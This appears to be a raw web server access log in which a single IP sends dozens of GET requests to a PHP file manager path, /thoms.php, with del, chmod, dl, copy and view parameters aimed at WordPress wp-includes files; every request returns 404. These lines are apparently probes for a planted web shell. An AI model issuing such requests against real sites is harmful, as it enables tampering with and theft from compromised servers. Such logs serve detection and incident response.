45.135.193.11 - - [11/Sep/2026:23:59:05 -0400] "GET /thoms.php?del=shortcodes.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=shortcodes.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:05 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=spl-autoload-compat.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=spl-autoload-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:05 -0400] "GET /thoms.php?chmod=ai-client.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ai-client.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:05 -0400] "GET /thoms.php?chmod=class-phpmailer.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-phpmailer.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:05 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-network.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:05 -0400] "GET /thoms.php?dl=feed-atom.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed-atom.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:05 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fms-deprecated.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fms-deprecated.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:05 -0400] "GET /thoms.php?del=utf8.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=utf8.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:05 -0400] "GET /thoms.php?chmod=PHPMailer&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=PHPMailer&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:05 -0400] "GET /thoms.php?chmod=category-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=category-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:05 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-customize-section.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-customize-section.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:05 -0400] "GET /thoms.php?del=class-wp-http-response.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-response.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:05 -0400] "GET /thoms.php?del=class-wp-view-config-data.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-view-config-data.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:05 -0400] "GET /thoms.php?del=query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:05 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Ftheme-compat HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Ftheme-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:05 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-application-passwords.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-application-passwords.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:05 -0400] "GET /thoms.php?dl=class-wp-locale.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:06 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-recovery-mode-key-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:06 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-xmlrpc-server.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:06 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffonts.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffonts.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:06 -0400] "GET /thoms.php?chmod=user.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=user.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:06 -0400] "GET /thoms.php?chmod=abilities.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=abilities.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:06 -0400] "GET /thoms.php?del=class-phpmailer.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-phpmailer.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:06 -0400] "GET /thoms.php?dl=class-phpmailer.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-phpmailer.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:06 -0400] "GET /thoms.php?chmod=class-walker-category-dropdown.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category-dropdown.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:06 -0400] "GET /thoms.php?chmod=class-wp-date-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-date-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:06 -0400] "GET /thoms.php?chmod=class-wp-http-curl.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-curl.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:06 -0400] "GET /thoms.php?chmod=class-wp-textdomain-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-textdomain-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:06 -0400] "GET /thoms.php?chmod=bookmark.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=bookmark.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:06 -0400] "GET /thoms.php?chmod=class-avif-info.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-avif-info.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:06 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-walker-comment.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-walker-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:06 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:06 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-customize-setting.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-customize-setting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:07 -0400] "GET /thoms.php?del=class-wp-editor.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-editor.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:07 -0400] "GET /thoms.php?dl=class-wp-metadata-lazyloader.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-metadata-lazyloader.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:07 -0400] "GET /thoms.php?chmod=class.wp-styles.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class.wp-styles.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:07 -0400] "GET /thoms.php?dl=compat.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=compat.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:07 -0400] "GET /thoms.php?dl=media-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=media-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:07 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:07 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=comment.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:07 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=feed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:07 -0400] "GET /thoms.php?dl=feed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:07 -0400] "GET /thoms.php?chmod=http.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=http.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:07 -0400] "GET /thoms.php?dl=post-thumbnail-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post-thumbnail-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:07 -0400] "GET /thoms.php?del=rest-api&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=rest-api&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:07 -0400] "GET /thoms.php?dl=class-feed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-feed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:07 -0400] "GET /thoms.php?del=class-simplepie.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-simplepie.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:07 -0400] "GET /thoms.php?del=class-wp-admin-bar.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-admin-bar.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:07 -0400] "GET /thoms.php?chmod=class-wp-plugin-dependencies.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-plugin-dependencies.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:08 -0400] "GET /thoms.php?dl=comment.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:08 -0400] "GET /thoms.php?dl=feed-rss2.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed-rss2.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:08 -0400] "GET /thoms.php?chmod=class-wp-comment.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:08 -0400] "GET /thoms.php?chmod=icons.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=icons.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:08 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=rewrite.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:08 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ftheme-compat&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ftheme-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:08 -0400] "GET /thoms.php?dl=cache-compat.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=cache-compat.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:08 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-phpass.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-phpass.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:08 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-requests.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-requests.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:08 -0400] "GET /thoms.php?del=class-wp-block-pattern-categories-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-pattern-categories-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:08 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fblock-supports HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fblock-supports" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:08 -0400] "GET /thoms.php?chmod=class-wp-block-list.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-list.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:08 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=compat-utf8.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=compat-utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:08 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=nav-menu-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=nav-menu-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:08 -0400] "GET /thoms.php?del=post-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:08 -0400] "GET /thoms.php?chmod=utf8.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=utf8.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:09 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-avif-info.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-avif-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:09 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-embed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:09 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-http.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-http.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
